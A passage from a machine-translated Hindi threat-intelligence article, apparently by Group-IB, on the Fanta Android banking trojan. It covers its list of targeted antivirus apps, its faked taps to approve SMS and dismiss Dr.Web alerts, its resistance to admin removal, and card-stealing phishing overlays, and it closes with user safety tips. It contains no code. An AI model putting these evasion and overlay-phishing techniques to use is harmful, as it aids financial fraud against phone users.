- एंड्रॉइड 2019 के लिए एंटीवायरस
- सुरक्षा मास्टर - एंटीवायरस, वीपीएन, ऐपलॉक, बूस्टर
- Huawei टैबलेट सिस्टम मैनेजर के लिए AVG एंटीवायरस
- सैमसंग एक्सेसिबिलिटी
- सैमसंग स्मार्ट मैनेजर
- सुरक्षा मास्टर
- तेज़ी बढ़ाने वाला
- डॉ.वेब
- Dr.Web सुरक्षा अंतरिक्ष
- डॉ.वेब मोबाइल नियंत्रण केंद्र
- डॉ.वेब सुरक्षा अंतरिक्ष जीवन
- डॉ.वेब मोबाइल नियंत्रण केंद्र
- एंटीवायरस और मोबाइल सुरक्षा
- कैस्परस्की इंटरनेट सुरक्षा: एंटीवायरस और सुरक्षा
- कैसपर्सकी बैटरी लाइफ: सेवर और बूस्टर
- कैस्पर्सकी एंडपॉइंट सुरक्षा - सुरक्षा और प्रबंधन
- एवीजी एंटीवायरस मुफ़्त 2019 - एंड्रॉइड के लिए सुरक्षा
- एंड्रॉयड एंटीवायरस
- नॉर्टन मोबाइल सुरक्षा और एंटीवायरस
- एंटीवायरस, फ़ायरवॉल, वीपीएन, मोबाइल सुरक्षा
- मोबाइल सुरक्षा: एंटीवायरस, वीपीएन, चोरी से सुरक्षा
- एंड्रॉइड के लिए एंटीवायरस
यदि किसी छोटे नंबर पर एसएमएस संदेश भेजते समय अनुमति मांगी जाती है, तो फैंटा चेकबॉक्स पर क्लिक करने का अनुकरण करता है चुनाव याद रखें और बटन отправить.
जब आप ट्रोजन से व्यवस्थापक अधिकार छीनने का प्रयास करते हैं, तो यह फ़ोन स्क्रीन को लॉक कर देता है।
नये प्रशासकों को जोड़ने से रोकता है।
यदि एंटीवायरस एप्लिकेशन डॉ.वेब एक खतरे का पता चला, फैंटा बटन दबाने का अनुकरण करता है उपेक्षा.
यदि इवेंट एप्लिकेशन द्वारा उत्पन्न किया गया था तो ट्रोजन बैक और होम बटन दबाने का अनुकरण करता है सैमसंग डिवाइस केयर.
यदि लगभग 30 विभिन्न इंटरनेट सेवाओं की सूची से एक एप्लिकेशन लॉन्च किया गया था, तो फैंटा बैंक कार्ड के बारे में जानकारी दर्ज करने के लिए फॉर्म के साथ फ़िशिंग विंडो बनाता है। उनमें से: अलीएक्सप्रेस, बुकिंग, एविटो, गूगल प्ले मार्केट कंपोनेंट, पांडाओ, ड्रोम ऑटो, आदि।

फ़िशिंग फ़ॉर्म

फैंटा विश्लेषण करता है कि संक्रमित डिवाइस पर कौन से एप्लिकेशन चल रहे हैं। यदि रुचि का कोई एप्लिकेशन खोला गया था, तो ट्रोजन अन्य सभी के शीर्ष पर एक फ़िशिंग विंडो प्रदर्शित करता है, जो बैंक कार्ड की जानकारी दर्ज करने के लिए एक फॉर्म है। उपयोगकर्ता को निम्नलिखित डेटा दर्ज करना होगा:
- कार्ड संख्या
- कार्ड अवधि समाप्ति दिनांक
- सीवीवी
- कार्डधारक का नाम (सभी बैंकों के लिए नहीं)
चल रहे एप्लिकेशन के आधार पर, अलग-अलग फ़िशिंग विंडो प्रदर्शित की जाएंगी। उनमें से कुछ के उदाहरण नीचे दिए गए हैं:

aliexpress:

एविटो:

कुछ अन्य अनुप्रयोगों के लिए, उदा. Google Play Market, AviaSales, Pandao, बुकिंग, ट्रिवागो:

यह वास्तव में कैसा था

सौभाग्य से, जिस व्यक्ति को लेख की शुरुआत में वर्णित एसएमएस संदेश प्राप्त हुआ वह साइबर सुरक्षा विशेषज्ञ निकला। इसलिए, वास्तविक, गैर-निर्देशक का संस्करण पहले बताए गए संस्करण से भिन्न है: एक व्यक्ति को एक दिलचस्प एसएमएस प्राप्त हुआ, जिसके बाद उसने इसे ग्रुप-आईबी थ्रेट हंटिंग इंटेलिजेंस टीम को दिया। हमले का नतीजा यह लेख है. सुखद अंत, है ना? हालाँकि, सभी कहानियाँ इतनी सफलतापूर्वक समाप्त नहीं होती हैं, और इसलिए कि आपकी कहानियाँ पैसे की हानि के साथ निर्देशक की कटौती की तरह न दिखें, ज्यादातर मामलों में निम्नलिखित लंबे समय से वर्णित नियमों का पालन करना पर्याप्त है:
- एंड्रॉइड ओएस वाले मोबाइल डिवाइस के लिए Google Play के अलावा किसी अन्य स्रोत से एप्लिकेशन इंस्टॉल न करें
- किसी एप्लिकेशन को इंस्टॉल करते समय एप्लिकेशन द्वारा मांगे गए अधिकारों पर विशेष ध्यान दें
- डाउनलोड की गई फ़ाइलों के एक्सटेंशन पर ध्यान दें
- एंड्रॉइड ओएस अपडेट नियमित रूप से इंस्टॉल करें
- संदिग्ध संसाधनों पर न जाएं और वहां से फ़ाइलें डाउनलोड न करें
- एसएमएस संदेशों में प्राप्त लिंक पर क्लिक न करें।

स्रोत: www.habr.com

लीस्या, फैंटा: पुराने एंड्रॉइड ट्रोजन की नई रणनीति